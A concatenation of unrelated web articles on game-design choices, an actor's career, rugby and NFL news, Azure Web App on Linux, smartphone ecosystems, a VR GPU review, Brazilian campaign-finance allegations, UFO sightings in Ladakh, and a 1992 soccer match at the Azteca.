An example of this would be the underrated game Alpha Protocol from a few years ago. Here, every time the player chose a mission to go on would affect subsequent missions and the overall plot based on the order that they chose and what they did on each mission. The game also had soft choices that defined the player’s preferences based on how violent or stealthfully they would get through a level.
For each hard choice the game developer wants in their game, the game’s plot will expand and branch out in different directions based on the number of hard choices.
This was one of the high marks of the Mass Effect trilogy and how the game’s plot would change throughout each title depending on the player’s response at certain hard choices. But the series also had soft choices that let them define their version of Sheppard.
One thing you want to watch out for is having hard choices that eventually petered out back to soft choices. An example of this would be from The Walking Dead season one which I have to lightly spoil.
In the first season you have to make a hard choice at the start to determine who lives or dies. The saved person would stick with you throughout the season until an event happens that gets them killed. The problem is that the murder event happens no matter what regardless of your choices at the same point every time. In this case the hard choice at the start of the season becomes relegated to a soft choice to serve the overall plot.
The Witcher 2 was an example of a game that combined soft and hard choices effectively by splitting them between choices that affected the story/characters of a chapter and those that would alter the overall plot and grand story of the game. This gave the developers a lot of leeway in creating multiple soft choices that the player would have to interact with constantly to keep the player invested, while having larger points to move the story along.
Remember, a hard choice actively changes the flow of the game and it’s important not to have too many. Every choice creates another plot and experience variant that you as the game developer will have to create. This can become even more complicated when you have hard choices on top of hard choices which further add to the number of paths that have to be designed. Having too many hard choices is just as bad as having too many soft except this time it’s on the developer’s end.
This is why most games set only a few hard choices throughout the game and give the player the illusion of choice via numerous soft choices.
Questionable Choices:
Having choices in your game doesn’t automatically make it better or worse as there are plenty of games designed around a set experience like Mario, Diablo and so on. But if you are promising the player that they will have a role to play in how the story unfolds, then you need to develop meaningful choices both to the plot and the player.
Soft choices generally provide an impact to the player while hard choices are more about the plot and balancing them both is needed to make an effective story.
Without soft choices the player won’t become invested in their character and without hard choices it will be harder for them to care about the plot.
In addition to his appearances in films such as “Under the Yum-Yum Tree,” “The Shaggy D.A.,” “The Million Dollar Duck,” “Snowball Express,” “Herbie Goes to Monte Carlo” and “Beethoven,” Jones also had roles in five Broadway shows and appeared in numerous television series and specials. He appeared in 46 films over the course of his career.
The actor made his Broadway debut in “There Was a Little Girl” with Jane Fonda in 1960, and went on to star in Broadway’s “Under the Yum-Yum Tree” that same year, before starring in the 1963 film adaptation with Jack Lemmon.
Jones’ other Broadway credits include the original role of “Bobby” in Harold Prince/Stephen Sondheim’s “Company,” and Cap’n Andy in a national tour of “Showboat.”
MGM signed Jones to a contract, and he began with a small role in “Somebody Up There Likes Me.” He later played a DJ in 1957 Elvis Presley movie “Jailhouse Rock.”
Other film credits include “Any Wednesday,” “The New Interns,” “Never So Few,” “Other People’s Money,” “When Every Day Was the Fourth of July,” “A Brush With Time” and Tom Clancy’s “Clear and Present Danger.”
Jones was born in Decatur, Ala., and served in the Navy during the Korean War. He attended Kentucky’s Asbury University, which awarded him an honorary degree in 2002.
The actor was inducted into the Disney Legends Hall of Fame in 1995.
Saints will name their team for the Pool Four clash at Stade Pierre Antoine on Friday lunchtime, with hooker Hartley in contention to play for the first time since September 11.
Hartley, who captained England to the Grand Slam earlier this year and June's 3-0 series win in Australia, had been suffering from back spasms which prevented him from lifting weights and scrummaging, but is back in full training.
Dylan Hartley could play for the first time in six weeks after recovering from back spasms
Hartley is set to return for Northampton against Castres in the European Champions Cup
Saints backs coach Alan Dickens said on Wednesday: 'Dylan's been injured. He's on the route back.
'He trained fully last week. He's trained fully this week, it's just dependent on how he reacts. He's there or thereabouts.'
Hartley's imminent return comes as a boost not just for a Saints side seeking to build on their opening 16-14 win over Montpellier, but for England.
England's opening match of the autumn series is against South Africa on November 12.
Hartley captained England to the Grand Slam earlier this year and a 3-0 series win in Australia
Courtney Lawes (left) has also trained fully this week and is in contention to return
However, centre Luther Burrell remains sidelined after suffering from concussion
England second row Courtney Lawes has also trained fully this week and is in contention to return to the starting XV, while Christian Day is also back in training. Centre Luther Burrell remains out with concussion.
Azure App Services supports .NET, Java, Node.js, Python, and PHP. And as most of you are probably aware, all this is running on Windows Server machines. But now, there's Azure Web App on Linux, available as a public preview. Not too much of a shock? Wait for it. Besides just running on Linux, this pretty little package holds a big surprise.
By the way, Azure App Services is really just a marketing-driven umbrella term for Azure web apps, API apps, and mobile apps. It describes the PaaS platform that allows you to easily publish your frontends, your API backends, or whatever you see fit. It is already Microsoft's second-generation PaaS approach, succeeding Azure Cloud Services with its web and worker roles.
Back to the Linux preview. The Web App on Linux preview is available on Azure Portal for everyone. Just click "Add new Resource" and enter "web app Linux" in the search field.
What you will see now is the really interesting part. It's not just you selecting your technology as you did with the Windows-based offering. This time, you have to pick a Docker container as the platform for running your web app. You can choose between several Node.js, PHP, and .NET Core images. Right, .NET core. Microsoft really loves to show off their technologies running on Linux. And I don't get tired of it.
But wait, there's still more. If you feel like experimenting with something a little bit more individual — it's Docker containers, after all — you can also choose to use any image from Docker Hub's private and public repositories.
And, finally, you might even pick your private registry as an image source.
So, in my humble opinion, this makes Web App on Linux much more than the same thing running on a different OS. Despite being labeled as "Web App," it's really a platform for publishing your Docker containers, which makes it suitable for running almost anything on Azure Web App.
Disclaimer: I work for Dynatrace, a company focused on Application Performance Monitoring. The following screenshot is taken from the Dynatrace product. I will use it to visualize some inside information, which is not available from stock Azure Portal screens. So, if you feel uncomfortable with that, please feel free to bounce.
Azure Web App on Linux runs on Debian Linux 8, with Kernel 4.4.0-53-generic. The single physical core and the memory limit is roughly in accordance with the chosen pricing tier.
Resource usage and response times are fully within expectations (if you may call it that at 4 requests per minute)
You see, those who bought in early with iOS soon began spending time and money in the App Store. They developed habits. Workflows were born. Accessories were purchased. Heck, perhaps the inclusion of iPod support swayed them from one vehicle to another. (You laugh, but I've seen it first-hand.)
And then, there's iPad. I'm still not fully convinced Apple's lone tablet is indeed the ideal 'third device' for me personally, but sales figures indicate that it's precisely that for many. And increasingly, tablets (meaning mostly iPads, based on the overwhelming market share numbers) are standing in as computers in the home. Turns out, Apple was onto something when it believed that a mere slate could perhaps replace one's next laptop purchase, and Microsoft is doing its best to politely agree with the recent introduction of Surface.
Each additional day spent intertwined in the iTunes ecosystem makes it that much more difficult for any other company to yank that person out.
Even for those who couldn't find reason to splurge on a $999+ Apple laptop, a $399 iPad 2 is proving to be the perfect compromise. Yet again, owning both an iPhone and iPad digs one even deeper into the iTunes ecosystem -- everything from apps to games to movies to music. There's genuine value in being able to purchase an app in one place and use it in another, and the same is true for pretty much any digital application or piece of media. In fact, I'd argue that each additional day spent intertwined in the iTunes ecosystem makes it that much more difficult for any other company to yank that person out.
The issue is compounded when you toss iCloud into the mix. Suddenly, the majority of things you care about on your iPhone and / or iPad is now available anywhere that there's an internet connection. It makes the inclusion of a Mac in the equation even more seamless, and the thought of owning multiple iOS devices even more reasonable. I'll be the first to admit that iCloud is far from feature-complete; enabling support for a litany of third-party apps should be high on Apple's list of priorities, but the reality is that most sane individuals understand the premise. They grok the promise. And if you've already got one foot in the iTunes river, it's impossible not to appreciate it all... if only a little bit.
In the effort of fairness, the vast majority of what I've said rings true for Android, too. Google's suite of products has been so well received, that many users are tapping into Google Docs, Google Drive and Gmail despite similar offerings being available from Apple, Microsoft, etc. (Let's just say there's a reason behind the very real sentiment that the Gmail iOS app isn't 'good enough.') Folks who have wandered over to the Android side, devoted their browsing to Chrome and have cast an eye in the direction of [insert Android tablet here] fully recognize that they too are part of an ecosystem. Sharing tabs between Chrome instances provides real value. Syncing Google Play purchases between phone and tablet -- with practically no involvement on the end user's part -- provides real value. And for the small contingent of Chromebook users, there's yet another layer of tightness that makes the usage of the entire family feel more involved.
Here's where Microsoft enters the picture. The company has an absurd slice of the desktop OS marketshare, but a lot of that has to do with enterprise roots. People are ushered into Windows at work and school, and it becomes familiar. If and when the time comes to buy a PC at home, familiar typically wins. This is most certainly not a hard-and-fast rule, in general I've found it to be accurate. But having the lion's share of the PC market clearly doesn't do one much good when it doesn't also offer a highly compelling smartphone and tablet platform. Five years ago, Apple somehow managed to coerce a world full of Wintel users to give its smartphone platform a chance. It somehow managed to convince a world of Wintel users to get out of whatever ecosystem they were in, and into iTunes. How, exactly, did it accomplish such a feat? By offering a platform that was so much more compelling, it actually dulled the pain of switching.
A year later, Google did the same thing. And where, might I ask, was Microsoft? A month after the T-Mobile G1 was unleashed upon the world, Microsoft was unveiling Windows Mobile 6.5. It was quite possibly the world's weakest attempt to combat the rising tides of Android and iOS from any company with as much money, resources and clout as Microsoft. In fact, the introduction of iOS and Android caught Microsoft so off guard, that it wasn't until February of 2010 that we saw even the first tangible evidence that the company had a product in the same league. On the tablet side, Microsoft attempted to make itself believe that Windows 7 was its "tablet answer." Or, maybe it was that short-lived Embedded Compact 7. Either way, neither worked. No one bought into it, and the introduction of Surface makes blatantly clear that the "shove Windows 7 on a tablet and call it ideal" wasn't a real strategy. Surface is a strategy, and a thoroughly beautiful one at that. But, here's the rub: it's 2012, and Microsoft is only now getting its modern ecosystem play together.
How many consumers even remotely interested in digital ecosystems are still waiting around to choose a side?
In theory, one could dive headfirst into SkyDrive, snap up a Surface Pro slate, invest in a Windows 8 Ultrabook and pony up for a forthcoming WP8 handset, and they'd be just as cozy as folks are today with iOS or Android devices surrounding them. But how many consumers even remotely interested in digital ecosystems are still waiting around to choose a side? Have those in Microsoft's target market truly sat around since the middle of 2008 without investing themselves in an ecosystem already?
The point is this: by waiting until the tail end of 2012 to assemble an ecosystem that works, end-to-end and in impressive fashion, Microsoft has put itself at a massive disadvantage. The most recent Comscore figures show Android and iOS accounting for over 80 percent of the US smartphone share, with Microsoft at 3.9 percent. That's just marginally higher than Symbian, an OS that hasn't been actively marketed here in the better part of a millennium. Globally, the latest IDC research figures paint a nearly-identical picture; iOS and Android represent 82 percent of the pie, with Windows Phone claiming 2.2 percent. It's not lost on me that both iOS and Android started at zero, too. Much of their ground has been gained at the expense of Nokia and RIM, and there's a very real possibility that Microsoft gains at the expense of Apple and Google. But just how realistic is it?
The switching costs in the smartphone market today are monumentally more significant than they were in 2007.
The switching costs in the smartphone market today are monumentally more significant than they were in 2007. It's more than a phone you're switching -- it's a lifestyle. It's an ecosystem. Somehow, Microsoft has to convince people not only that Windows Phone 8 is truly as awe-inspiring as it looks, but that its Surface tablets really will be a Windows tablet worth owning, and that Windows 8 really is a fantastical step ahead of Windows 7. In my estimation, it'll need to deliver a magical SkyDrive marketing message that not only rivals that of iCloud, but surpasses it, if it truly wants a significant amount of the smartphone marketshare. Microsoft has 100,000 apps in the Marketplace as of June 2012, but Apple has 550,000 more reasons to invest your time in a far deeper app library. And, if you're already invested in that library, Microsoft needs an overwhelmingly convincing pitch to get you out of where you're comfortable.
Date: Tuesday , August 09, 2016 Author: Kyle Bennett
AMD & NVIDIA GPU VR Performance in Call of Starseed We are back this week to take another objective look at AMD and NVIDIA GPU performance in one of the the top selling games in the VR-only realm, The Gallery Episode 1: Call of Starseed. This is another GPU-intensive title that has the ability to put some GPUs on their heels. How do the new RX 480 and GeForce 1000 series perform?
What is The Gallery Ep. 1: Call of Starseed?
That game title is a mouthful, right? From here out we are going to refer to this VR-only title as "The Gallery," or maybe "Episode 1," or maybe just "Starseed" here and there to break up the monotony. Maybe just, "TGE1CoS?" I dunno....
You can find the official page that covers TGE1CoS at this link. Here is what Cloudhead Games, the title's developer, has to say about the game.
The Gallery is a virtual reality fantasy exploration video game inspired by dark 80’s fantasy movies and classic graphic adventure games. The Gallery has a deep narrative with bizarre characters who take you on an adventure through fantastical environments while challenging you with physical interactions and puzzle solving. We are not modifying or porting a game to be accessible in VR, we have built The Gallery to be a VR experience from the ground up, with the intricacies of the medium driving every aspect of design.
That all said, this game will break into at least four "episodes." Episode 1 requires that you use an HTC Vive as it requires room-scale, or standing play with motion tracked handheld controllers. Once Oculus releases its Touch controllers, you will be able to play this game with the Rift as well.
Much like we saw with our look at GPU performance in Raw Data, Episode 1 is far from an off-the-radar title when it comes to the VR experience. Quite simply this game has been acclaimed in reviews from national magazines to gaming review websites we are all familiar with. A quick search will show you all that quickly.
The reason we used Raw Data in our last review was because it was extremely GPU-intensive, and it was also one of the more popular VR titles on the market at the time. Raw Data utilizes the Unreal Engine 4 and some Gameworks technologies, and some folks called us out on this, whining again that results are biased in favor of NVIDIA and we were going out of our way to show AMD in a bad light (Just like that Gold AMD review from last week). Honestly though, I can see where fanboys get worked up about that, so for this review we wanted to fully switch gears in terms of game engine and Gameworks.
For this article, we wanted to move to another engine being used for VR, and today we have Starseed using the Unity Engine, SteamVR, and the DX11 API. The Unity engine is the other "big guy" on the block when it comes to native VR game titles. It is pretty much either UE4 or Unity in the VR-only space currently. There are other engines out there that cater to VR; CryEngine, CopperCube, and Torque3D are the first few that come to mind. There are more like Stingray and Lumberyard as well, but have even less market penetration.
New The Gallery Ep. 1 Call of Starseed Update
Another reason we thought this would be a good title to test with is A.) it has been out for a good few months, and B.) it just got a big update in terms of performance as well as gameplay.
v1.1.2 Changelog ---------------- -General performance enhancements using Unity 5.4.0b17 ( native OpenVR ) -Rebaked lighting to fix some visual issues -Better OC bake for tighter geo culling
The list is extremely long, so hit the above link if you want to see it all. However, my favorite "fix" is listed towards the bottom.
-I can't believe you're still reading this
I actually LOL'ed when I read this line and my son, sitting with me in the office, asked what was funny, and I told him that I was one of the jackasses that had to read that far down the list, and it made me appreciate the guys over at Cloudhead Games a bit more.
These VR Games are NOT Benchmarks
Raja Koduri also scolded us a bit last week on Twitter for using the game suggesting that it was not good for being used as a "benchmark." My take on this is just the same as it is here today with Starseed. We are not running "benchmarks." We are buying games, playing those games on RX 480 and Fury X cards that we paid for as well, and are reporting our real world gaming experience......just like you reading this are going to experience on your desktop. If AMD is not ready to handle those games and the performance supplied, that is on AMD....not HardOCP for showing you the truth about playing VR games in the real world today.
Getting Ready to Screw AMD to the Wall
Literally, while I was writing the paragraph above this title line, I was messaged that a new AMD driver had just dropped; Crimson version 16.8.1. This morning after building my graphs, I sent Raja Koduri this tweet.
The RX 480 and Fury X performance seems to have been broken in Starseed with the previous driver v16.7.3. Even what you can see on that shrunken graph looks extremely bad in terms of performance. It was a stuttering mess. It seems that the new v16.8.1 non-WHQL drivers fixed the broken performance, and of course made a morning's worth of testing invalid. (Such is a reviewer's life.) So, AMD sneaks in and pulls off a save, because previously Call of Starseed was broken on AMD GPUs for all intents and purposes. It was "playable," but it was not "set to drive premium VR experiences" playable. But getting things fixed for the GPU buyers and users is what it is all about, so we are not going to talk about any more, at least until the conclusion page.
While the news surrounding him for the next few months will be connected to free agency and his eventual destination, it's important to take note of how incredibly well he has handled this past year -- undoubtedly his most turbulent in the NFL.
Pierre-Paul lost his right index finger and parts of several other fingers on his right hand after a Fourth of July fireworks accident in 2015. He missed eight games, but returned midway through last season to log a sack, six passes defensed, two fumble recoveries and 21 tackles. He said the whole incident probably made him a better player.
"As I was sitting in the hospital on July 5, there were a lot of burn (victims) in there. And I was one of them," Pierre-Paul said at New York Presbyterian, via NJ.com. "And just walking through the hospital, I saw a lot of burn people. People that lost hands, people that lost legs, due to fireworks incidents or whatever. And it just made me think, every time I look at my hand, it just made me think about the burn center."
Teams will question Pierre-Paul's character as an impending free agent, but we wonder if they'll take the time to look at the way he's handled himself and the media throughout this season. At just 27 years old, the rub on Pierre-Paul has always been maturity. However, aside from an initial clash with the Giants over seeing him in the hospital, what hasn't Pierre-Paul done over the last few months to make us believe he's a changed man?
08/08/2016 - 12h40
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BELA MEGALE
SPECIAL ENVOY TO CURITIBA
Executives from Odebrecht told investigators from the Lava Jato (Car Wash) operation that the presidential campaign of José Serra (PSDB-SP) in 2010 received R$ 23 million (US$ 7 million) from the construction company off-the-books. Serra is currently Minister of Foreign Relations.
Adjusted for inflation during the period, this amount is equivalent to R$34.5 million today (US$ 10.8 million).
The affirmation was made to prosecutors from the operation task force and the PGR (Federal Prosecutor General's Office) last week by employees of the company who are attempting to reach a plea-bargain agreement, previously reported by columnist Mônica Bergamo.
During the meeting, held at Federal Police headquarters in Curitiba, the executives said that part of the money was delivered in Brazil while another part was paid through bank deposits made into accounts outside of Brazil.
The conversations are part of interviews in which potential Lava Jato plea-bargainers collaborate information presented by lawyers in their plea-bargaining negotiations.
No agreement, however, has yet been signed.
In order to prove that off-the-book payments were made, Odebrecht will present bank statements of deposits made outside of the country which were destined for the presidential campaign of the candidate at the time.
According to information from the TSE (Supreme Electoral Tribunal) the construction company donated R$ 2.4 million (US$ 750,000) to the National Finance Committee for Brazilian President Serra (R$ 3.6 million -US$ 1.1 million- adjusted for inflation).
Based on this, the PMDB campaign would have received R$ 25.4 million (US$ 7.9 million) from the Bahia group alone, with R$ 23 million (US$ 7 milllion) of that amount being off-the-books.
According to testimony from executives of Odebrecht, the negotiation for the transfers to the Serra campaign was conducted by the national leadership of the PSDB at the time, which afterwards redistributed part of the money among other candidates.
THE OTHER SIDE
The Foreign Relations Minister, José Serra (PSDB-SP), stated, by way of a written communication sent by his press attaché, that during the Presidential race in 2010 his campaign conducted itself in accordance with the electoral legislation in vigor.
The PSDB leader also said that the finances for his campaign for the Planalto Palace were the responsibility of the PSDB party.
And still by written notification, José Serra reiterated that no one was authorized to speak on his behalf.
According to PSDB campaign documents filed with the TSE, the National Finance Committee for President of the Republic declared that it had received R$ 2.4 million (US$ 750,000) from the construction company in the 2010 race.
Regarding supposed payments of bribes made to PSDB intermediaries while he was governor of the State of São Paulo between 2007 and 2010, which were related to the construction of the southern stretch of the Rodoanel, the Minister said that he considered the "accusation to be absurd".
Translated by LLOYD HARDER
Indian Army troops have sighted mysterious unidentified flying objects (UFOs) in the Ladakh sector along the Line of Actual Control with China. On August 4, the UFO was sighted by Army troops in Lagan Khel area in Demchok in Ladakh area in the evening and a report has been sent to the Army headquarters by the local formation, sources said here.
There have been over 100 sightings of UFOs along the Line of Actual Control (LAC) in the last several months but this sighting has come after some time-gap, they said. Asked about the UFO sightings by the Army troops in Ladakh sector, Defence Minister A K Antony had told Parliament that there is no conclusive proof of sighting of unidentified flying objects (UFOs) over the Sino-Indian border. The UFO sighting on August 4 comes after reports suggested that a top-level science research institute had found that the UFOs were actually planets Jupiter and Venus, which are clearly visible from the high altitude and thin atmosphere terrain of Ladakh.
The reports said that the research institute had found out that the Army troops deployed in the area had mistaken the two planets as UFOs. However, it is not clear whether the conclusion arrived at by the research institute has been accepted by the Army and Government or not. Last year, the 14 Corps, which looks after military deployment along Kargil-Leh and the frontiers with China, had sent reports to the Army Headquarters about the sightings of UFOs by an ITBP unit in Thakung near the Pangong Tso Lake.
Reports suggested that these yellowish spheres appear to lift off from the horizon on the Chinese side and slowly traverse the sky for three to five hours before disappearing. The officials had confirmed that these UFOs were not Chinese drones or satellites.
The contract signed in April with CBS and Turner Sports meant all games would be televised live nationally for the first time. Because Turner's three cable channels don't have the same commitments to the nightly news and other regular programming as CBS, the tournament games will be more spread out, starting this season.
That includes prime-time games on TBS, TNT and truTV during the first Sunday of the tournament, the networks announced Thursday.
Last season, when only CBS broadcast games, the first three contests on the opening Thursday afternoon started within 10 minutes of each other. Even for fans who had access to all of the games through the free stream on the Internet or by buying the TV package, that often meant multiple matchups going down to the wire at the same time.
"That wasn't good enough," Turner Sports senior vice president Christina Miller said. "What was going to be good enough was if we stagger it and let people catch each game or at least capture the big moments at the end of everything."
Now those games will start at least 30 minutes apart.
Marijuana was seized Monday morning from this pickup truck in southern Arizona, the U.S. Customs and Border Protection said. (Photo: U.S. Customs and Border Protection)
Tucson Border Patrol agents arrested three suspected smugglers and seized more than 700 pounds of marijuana after responding to a suspicious activity call Monday morning.
According to a statement from U.S. Customs and Border Protection, ground agents from the Sonoita border station followed a helicopter guide to Elgin, about 55 miles south of Tucson, where agents found three suspected smugglers attempting to flee the area in two separate vehicles.
The statement did not identify the suspects by name, but said one was a United States citizen and the two others were Mexican nationals.
Marijuana was seized Monday morning from this pickup truck in southern Arizona, the U.S. Customs and Border Protection said. (Photo: U.S. Customs and Border Protection)
One of the vehicles, a pickup truck, was filled with more than 700 pounds of marijuana, worth about $360,000, the statement said.
The suspects used a black sheet in an attempt to hide the packages inside the truck. A thin sheet of plywood and some debris was scattered over the marijuana packages in the bed of the truck, the statement said.
All three suspects were arrested and both vehicles were seized.
“You could drive by those old buildings for years without thinking anything of them,” said Michael T. Ault, executive director of the Downtown Sacramento Partnership, a business improvement district representing property owners and tenants. “It’s not until you go and actually look at them that you realize their potential,” he added.
At one time, 100 “workshops,” as the old industrial buildings were known, produced new steam engines and passenger cars, among other goods. At the peak of activity during World War II, more than 7,000 people worked there.
After the war, however, work at the yards declined steadily. In 1999, the Union Pacific Railroad closed its last remaining industrial operations at the yards, and demolished many buildings in anticipation of selling portions of the site to developers.
The redevelopment of the site started in 2002, when Union Pacific offered 37 acres for sale. “We told the railroad we wanted the entire thing,” recalled Suheil J. Totah, vice president of Thomas Enterprises.
At first, the railroad was reluctant to sell, partly out of concern about liability for site contamination, according to Mr. Totah. Former railyards are notoriously polluted, and the railroad owner had already removed more than 800,000 cubic yards of tainted earth from the property.
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To shield the railroad from future lawsuits stemming from contamination, Mr. Totah had to find insurers able to write policies on brownfields — disused industrial sites with a strong likelihood of pollution. “It wasn’t easy to find insurers who could underwrite a project of this scale,” Mr. Totah said.
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After four years of negotiation, Thomas Enterprises completed the purchase at an undisclosed price.
The few remaining industrial buildings form the centerpiece of the development. On a tour of the site, Richard Rich, the company’s development director, opened the door to the Erecting Shop, a 68-foot-tall single-story structure more reminiscent of an old church than a modern factory. The only interior light came from rows of windows on either side, far above his head.
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“This is the first industrial building in California,” Mr. Rich said. The structure was built in 1868, one year before the Golden Spike was driven in Utah, connecting Sacramento by rail to the rest of the nation. For decades, Union Pacific workers assembled locomotive engines in the building.
Renovation of the Erecting Shop and the six other historic buildings are part of the first phase of construction, set to start in 2011. After historic preservation and structural reinforcements for seismic safety, the renovated workshops will become the core of a retail district.
New structures will fill out the historically themed shopping area. The developers plan to build a new structure atop the foundation of the demolished roundhouse building. The roundhouse was used to switch locomotives from one set of tracks to another using a circular turntable.
Instead of rebuilding the roundhouse in a historical style, however, the new building will be an “honestly modern building on a historic footprint,” Mr. Rich said. The new building will contain both commercial space and the railroad museum.
The redevelopment of the site dovetails with the construction of an adjacent project, a $300 million transit station to be built by the City of Sacramento. The 16-acre station will provide connections among trains, light rail, buses and taxis. Thomas Enterprises is selling the city a portion of railroad land on which to build the station.
Although separate from the Sacramento Railyards project, the transit station is said to be crucial to overall development, because the station is expected to increase the attractiveness of nearby housing, especially among commuters.
Before construction can begin, however, the developer must build new tracks across the site to enable Union Pacific trains to switch tracks quickly without interrupting service.
The new tracks are part of $750 million in new infrastructure. A majority of that amount is to come from local, state and national governments, including federal stimulus money. The first phase of construction requires about $310 million from public sources: $150 million from the city, $130 million from the state and $30 million from the federal government.
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A new road system threading through the Railyards is also planned. To cement a strong connection between the Railyards and downtown Sacramento, the developer plans to build two bridges to carry traffic over existing tracks that separate the two areas. “Connectivity to downtown is crucial to this project,” Mr. Rich said.
Although it is playing up the history of the site, Thomas Enterprises plans to make new and old buildings harmonize through the use of similar materials, notably brick and glass.
Located on the high plateau just outside Mexico City, the Azteca stands 7,300 feet above sea level. By comparison, Denver, Colorado, the "Mile High City," sits some 2,000 feet lower.
No amount of training, even at altitude, can adequately prepare you to play on its hallowed field.
"I was probably in the best shape of my life by far," recalled Blackhawks and future MLS defender Mark Semioli. "I was 25 years old. I was the perfect age. It felt like I couldn't even move my legs from the get go. It was as if you smoked 100 cigarettes before the game because the altitude was still strong, but the smog was incredible."
Yet despite the altitude and the elements and the hostile crowd, the Blackhawks took that Hugo Sánchez-led América to the brink of elimination in the CONCACAF Champions' Cup (the ancestor of the CONCACAF Champions League).
Since then, no professional club team from either Canada or the United States has traveled to Azteca to play against América in international competition.
That all changes on Wednesday, when the Montreal Impact face Mexico's most successful team in the first leg of the CCL final (9 pm ET; FOX Sports 2, UniMás in USA; Sportsnet World, TVA Sports in Canada).
From the moment they were formed in 1988, the San Francisco Bay Blackhawks signaled their intent to become the biggest and best professional soccer team in America. The club's owner, Bay Area real estate mogul Dan Van Voorhis, spared no expense in providing the team with the best coaches, trainers and travel possible.
When the San Francisco Chronicle asked him why he would risk so much of his own money on a niche sport like soccer, Van Voorhis replied, "I like to work with creative people and I like challenges. Soccer and the Blackhawks certainly present all those to me."
The ambition of the club was evident from the beginning. At a time when many American professional soccer players were struggling to make ends meet, Van Voorhis treated his players like kings, flying them in his private plane, treating them to extravagant meals and putting them up in the finest hotels.
Van Voorhis's lavish spending helped the Blackhawks lure the most talented American players to the Bay Area. From 1989 until the club's final season in 1993, the Blackhawks were home to some of the greatest American players of that era: Eric Wynalda, Marcelo Balboa, John Doyle (pictured right, on a Blackhawks program), Dominic Kinnear, Troy Dayak and Paul Bravo.
Arriving at a tumultuous time in US pro soccer, the Blackhawks competed in an alphabet soup of different leagues over their short existence, including the Western Soccer League, the American Professional Soccer League and the United States Interregional Soccer League (the forerunner of today's USL). But they always ran at the front of the pack.
Between 1989 and 1991, the Blackhawks played in three championships in a row, winning two of them. The last of those championships, the 1991 APSL title, qualified the Blackhawks for a place in the 1992 CONCACAF Champions' Cup.
In international competition for the first time in their history, the Blackhawks believed they could become the first American team to win the entire tournament.
"We had the expectation that we would go far in this thing," said Semioli, who later spent six seasons in MLS with the LA Galaxy and the MetroStars. "We had real plans to win it, and the focus from [Van Voorhis] down was, 'We're going to take this thing.'"
The Blackhawks cruised through the first three rounds of the tournament. They defeated opponents from Panama, Belize and Honduras by a staggering aggregate score of 22-2. All that stood between them and a place in the finals was an eight-time Primera Division and three-time Champions' Cup winner: Club América.
The Blackhawks entered Azteca with a plan. Through 60 minutes of play, it looked like it might actually work. As the Impact did against Costa Rican opponents Alajuelense in this year's semifinal, the Blackhawks played compactly on defense and cautiously ventured forward on the counter.
Semioli explained that his entire job that day was to shadow América's Mexican international midfielder, Luis Roberto Alves. By his own estimation, Semioli didn't cross the midfield line more than five times in the match.
Still, the defensive strategy appeared to pay off. At halftime, the teams left the field deadlocked at zero.
While América got on the scoreboard first in the 47th minute, less than seven minutes later, Jamaican international Peter Isaacs improbably equalized for the visitors. Once again, the teams were even, and the Blackhawks could feel the mood inside the stadium change.
Then disaster struck.
In the 64th minute, Blackhawks defender Troy Dayak (pictured right, with the Earthquakes) was given a straight red card for punching Mexican forward Hugo Sánchez – then recently returned from Real Madrid – in an off-ball incident that was caught not only by the assistant referee, but also by every camera in the stadium.
"We in the United States were so accustomed to bad refereeing and no media coverage at all – you think you can get away with almost anything. But not at Azteca Stadium," said former Blackhawks midfielder and captain Derek Van Rheenen.
Dayak describes that red card as one of the defining moments in his career.
"I was playing in a huge stadium in a massive environment," Dayak remembered. "I was doing my job, specifically to mark out their best player, and I was doing that. And the guy found a way to win the game for his team by getting me thrown out."
According to Dayak, who played through the match with a broken bone in his ankle, Sánchez repeatedly targeted his foot and ankle with off-ball challenges that went ignored by the referee. After Sánchez punched Dayak in the solar plexus, Dayak instinctively swung out. As so often happens, the referee only saw the second punch.
The red card forced an exhausted and demoralized 10-man Blackhawks squad into emergency defending all over the pitch. Within 15 minutes of Dayak's dismissal, Sánchez, who would later star in Major League Soccer's inaugural season with the Dallas Burn (now FC Dallas), scored two goals that left the Blackhawks gasping for breath.
Dayak, meanwhile, sat dejectedly in the bowels of the stadium, a sterile, concrete locker room that he described as "the belly of the beast," where he could only listen in horror to the rumble of the crowd above and the stadium loudspeaker blaring the calls: "Goooool! Hugo Sánchez!"
"We were in great shape after Peter's goal," Blackhawks coach Laurie Calloway told the media after the game. "But once we lost Troy [Dayak], who we thought kept Sánchez under wraps until then, we had a lot of trouble defending."
Part of that stemmed from Dayak's dismissal, but the majority stemmed from a combination of fatigue and América's distinctive home-field advantage.
"Azteca was very hot and a huge field," said Semioli (pictured left, behind Sánchez). "It's kind of a spread-out game, and teams [like América] that can possess the ball can run you ragged, much as they did to us."
No Blackhawks player, however fit or fresh, was immune to the debilitating effects of the altitude.
"I don't know how those guys played 90 minutes, because after 20 minutes I felt like there were arrows stuck in both of my lungs," said forward John Garvey, who came into the first leg as a late substitute. "I couldn't breathe. It was just such an advantage. It was the most uncomfortable feeling, that pollution and altitude."
Despite the loss, the Blackhawks were in an optimistic mood heading into the second leg. They would be playing at home and needed just a 2-0 scoreline to push the series to extra time. If they could shut Sánchez out of the game, they thought, they would have a chance.
Like their opponents, the Blackhawks possessed a home-field advantage of their own: the narrow confines of San Jose State University's Spartan Stadium.
"When teams came to play on that field, we were very used to it: being in very tight confines, how to play smart on that field, how to move the ball around [on] the fast turf that it had," said Semioli. "We felt pretty confident that this would lend itself to a tremendous advantage, even over a highly skilled Mexican team, because we knew how to work the field to our advantage."
That confidence bore immediate dividends when, in just the sixth minute of the match, forward Joey Leonetti headed a Lawrence Lozzano cross beyond the reach of América goalkeeper Alejandro Garcia.
But in the 27th minute, Blackhawks goalkeeper Mark Dougherty tripped midfielder Alves inside the box. Sánchez, who had been kept quiet by Semioli, stepped up and buried the penalty. Like that, the game was even.
"There was contact," Dougherty, who later played for MLS' Tampa Bay Mutiny and Columbus Crew, said of the foul after the match. "But not enough to warrant a penalty."
Despite their howls of protest, the Blackhawks pressed on. Their perseverance paid off as fullback Tim Martin – a starter for MLS' San Jose Clash (now Earthquakes) from 1996-98 – scored with a right-footed blast from well outside the box.
For the second time in the match, the Blackhawks found themselves needing just a goal to send the series to extra time, and in the 63rd minute, it looked as if they had found it. Leonetti took the ball to the endline and crossed to an unmarked Townsend Qin at the far post.
As the players ran over to celebrate with Qin, they turned and saw that the assistant referee had raised his flag. Offside.
While it sounds as if the Blackhawks had been “CONCACAF'd” – Semioli admitted that the team thought that there was a conspiracy to keep them out of the final – the assistant referee responsible for the call was American.
Without Qin's goal, though, the 2-1 scoreline was not enough for the Blackhawks to advance to the next round of the tournament.
